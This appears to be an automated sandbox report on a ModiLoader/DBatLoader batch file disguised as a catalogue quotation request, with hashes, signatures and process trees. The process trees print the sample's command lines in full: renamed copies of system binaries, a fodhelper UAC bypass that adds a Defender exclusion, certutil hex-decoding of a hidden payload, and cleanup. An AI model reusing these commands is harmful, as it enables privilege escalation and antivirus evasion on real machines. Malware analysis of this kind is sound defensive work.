Analysis
-
max time kernel
142s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
04-04-2024 07:15
Static task
static1
Behavioral task
behavioral1
Sample
PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat
Resource
win10v2004-20240226-en
General
-
Target
PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat
-
Size
4.4MB
-
MD5
a9f2c8cc828e683395e9a804c120021e
-
SHA1
6b1f7e910df1792b94690045d3de345cff297ff3
-
SHA256
c91aecc289ef01ff1262a274a65124f7a0d0cdf26308de625ce64231c7aa77d1
-
SHA512
c0e6d23b0ba6bc4255938d8b14b563100068e25ab2d9c5e5e9632683c6b1bd28f8fc32b4f2b790400b66977b24f0ff574b2025a7fdee7e968c08d975ff1c227d
-
SSDEEP
49152:xOp5wZlcwP4QJpMoD8cGL2tojFdpjyPHKbfS4b0umx0TwKi3K6lflLE/B2t3mTss:0
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
ModiLoader Second Stage 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2796-55-0x00000000031D0000-0x00000000041D0000-memory.dmp modiloader_stage2 -
Executes dropped EXE 16 IoCs
Processes:
alpha.exealpha.exealpha.exexkn.exealpha.exealpha.exekn.exealpha.exekn.exeLewxa.comalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 2772 alpha.exe 2160 alpha.exe 2568 alpha.exe 2604 xkn.exe 2608 alpha.exe 2732 alpha.exe 2800 kn.exe 2388 alpha.exe 2524 kn.exe 2796 Lewxa.com 2924 alpha.exe 2012 alpha.exe 2932 alpha.exe 1060 alpha.exe 2680 alpha.exe 936 alpha.exe -
Loads dropped DLL 13 IoCs
Processes:
cmd.exealpha.exexkn.exealpha.exealpha.exeWerFault.exepid process 2876 cmd.exe 2876 cmd.exe 2876 cmd.exe 2568 alpha.exe 2604 xkn.exe 2604 xkn.exe 2604 xkn.exe 2876 cmd.exe 2732 alpha.exe 2876 cmd.exe 2388 alpha.exe 2660 WerFault.exe 2660 WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2660 2796 WerFault.exe Lewxa.com -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 2536 taskkill.exe 1928 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " reg.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell\open\command reg.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
Lewxa.compid process 2796 Lewxa.com -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
xkn.exepid process 2604 xkn.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
xkn.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 2604 xkn.exe Token: SeDebugPrivilege 1928 taskkill.exe Token: SeDebugPrivilege 2536 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exealpha.exedescription pid process target process PID 2876 wrote to memory of 2960 2876 cmd.exe cmd.exe PID 2876 wrote to memory of 2960 2876 cmd.exe cmd.exe PID 2876 wrote to memory of 2960 2876 cmd.exe cmd.exe PID 2960 wrote to memory of 2380 2960 cmd.exe extrac32.exe PID 2960 wrote to memory of 2380 2960 cmd.exe extrac32.exe PID 2960 wrote to memory of 2380 2960 cmd.exe extrac32.exe PID 2876 wrote to memory of 2772 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2772 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2772 2876 cmd.exe alpha.exe PID 2772 wrote to memory of 3012 2772 alpha.exe extrac32.exe PID 2772 wrote to memory of 3012 2772 alpha.exe extrac32.exe PID 2772 wrote to memory of 3012 2772 alpha.exe extrac32.exe PID 2876 wrote to memory of 2160 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2160 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2160 2876 cmd.exe alpha.exe PID 2160 wrote to memory of 2152 2160 alpha.exe extrac32.exe PID 2160 wrote to memory of 2152 2160 alpha.exe extrac32.exe PID 2160 wrote to memory of 2152 2160 alpha.exe extrac32.exe PID 2876 wrote to memory of 2568 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2568 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2568 2876 cmd.exe alpha.exe PID 2568 wrote to memory of 2604 2568 alpha.exe xkn.exe PID 2568 wrote to memory of 2604 2568 alpha.exe xkn.exe PID 2568 wrote to memory of 2604 2568 alpha.exe xkn.exe PID 2604 wrote to memory of 2608 2604 xkn.exe alpha.exe PID 2604 wrote to memory of 2608 2604 xkn.exe alpha.exe PID 2604 wrote to memory of 2608 2604 xkn.exe alpha.exe PID 2608 wrote to memory of 2756 2608 alpha.exe reg.exe PID 2608 wrote to memory of 2756 2608 alpha.exe reg.exe PID 2608 wrote to memory of 2756 2608 alpha.exe reg.exe PID 2876 wrote to memory of 2732 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2732 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2732 2876 cmd.exe alpha.exe PID 2732 wrote to memory of 2800 2732 alpha.exe kn.exe PID 2732 wrote to memory of 2800 2732 alpha.exe kn.exe PID 2732 wrote to memory of 2800 2732 alpha.exe kn.exe PID 2876 wrote to memory of 2388 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2388 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2388 2876 cmd.exe alpha.exe PID 2388 wrote to memory of 2524 2388 alpha.exe kn.exe PID 2388 wrote to memory of 2524 2388 alpha.exe kn.exe PID 2388 wrote to memory of 2524 2388 alpha.exe kn.exe PID 2876 wrote to memory of 2796 2876 cmd.exe Lewxa.com PID 2876 wrote to memory of 2796 2876 cmd.exe Lewxa.com PID 2876 wrote to memory of 2796 2876 cmd.exe Lewxa.com PID 2876 wrote to memory of 2796 2876 cmd.exe Lewxa.com PID 2876 wrote to memory of 2924 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2924 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2924 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2012 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2012 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2012 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2932 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2932 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2932 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 1060 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 1060 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 1060 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2680 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2680 2876 cmd.exe alpha.exe PID 2876 wrote to memory of 2680 2876 cmd.exe alpha.exe PID 2680 wrote to memory of 1928 2680 alpha.exe taskkill.exe PID 2680 wrote to memory of 1928 2680 alpha.exe taskkill.exe PID 2680 wrote to memory of 1928 2680 alpha.exe taskkill.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe3⤵
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe3⤵
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "5⤵
- Modifies registry class
- Modifies registry key
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat" "C:\\Users\\Public\\Lewxa.txt" 92⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat" "C:\\Users\\Public\\Lewxa.txt" 93⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 122⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 123⤵
- Executes dropped EXE
-
C:\Users\Public\Libraries\Lewxa.comC:\\Users\\Public\\Libraries\\Lewxa.com2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 7243⤵
- Loads dropped DLL
- Program crash
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe2⤵
- Executes dropped EXE
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettingsAdminFlows.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Lewxa.txtFilesize
3.1MB
MD5aecbd8ff910c38b1772994a46cf4dcee
SHA196e1b7e276e7b19150c259a344e45b9fa04fac43
SHA256f29aff3e41afb8bdc6aeffbb4dc0f0083a7851a4fae1ef39a44bf72d7ede6c33
SHA5122919015e969612462b2d5b91e1bfa4ec92277f065628e3b5fc6126974203bd490ab89809f14951ac0a5e9d888dbde98af1ebb3900318fa6d718fd04e89d36d18
-
C:\Users\Public\Libraries\Lewxa.comFilesize
1.5MB
MD56babecb95e226aef5eef6f80111e04de
SHA1f2974245b3391f9be136fdf76df36cc5ad0bed2d
SHA256a561b2ad4fea4284042c99132d49d651f3d409cc41dc6e950dc85a16ae3934a0
SHA512109d9814b12c61c9579395317dc54a6a0092b3ec1b54d4eab9c3489ffe11971e977f8676f44886e46299bbbf49407e33e02642a0ec151144a3dc72b1a13e0949
-
C:\Users\Public\alpha.exeFilesize
337KB
MD55746bd7e255dd6a8afa06f7c42c1ba41
SHA10f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA5123a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e
-
\Users\Public\kn.exeFilesize
1.1MB
MD5ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA2561e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA5124e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2
-
\Users\Public\xkn.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/2604-32-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2604-31-0x0000000001D30000-0x0000000001DB0000-memory.dmpFilesize
512KB
-
memory/2604-25-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2604-24-0x0000000001D30000-0x0000000001DB0000-memory.dmpFilesize
512KB
-
memory/2604-23-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2604-22-0x0000000002010000-0x0000000002018000-memory.dmpFilesize
32KB
-
memory/2604-21-0x000000001B4E0000-0x000000001B7C2000-memory.dmpFilesize
2.9MB
-
memory/2796-48-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
-
memory/2796-50-0x00000000031D0000-0x00000000041D0000-memory.dmpFilesize
16.0MB
-
memory/2796-55-0x00000000031D0000-0x00000000041D0000-memory.dmpFilesize
16.0MB
-
memory/2796-60-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
-
memory/2796-61-0x0000000000400000-0x0000000000596000-memory.dmpFilesize
1.6MB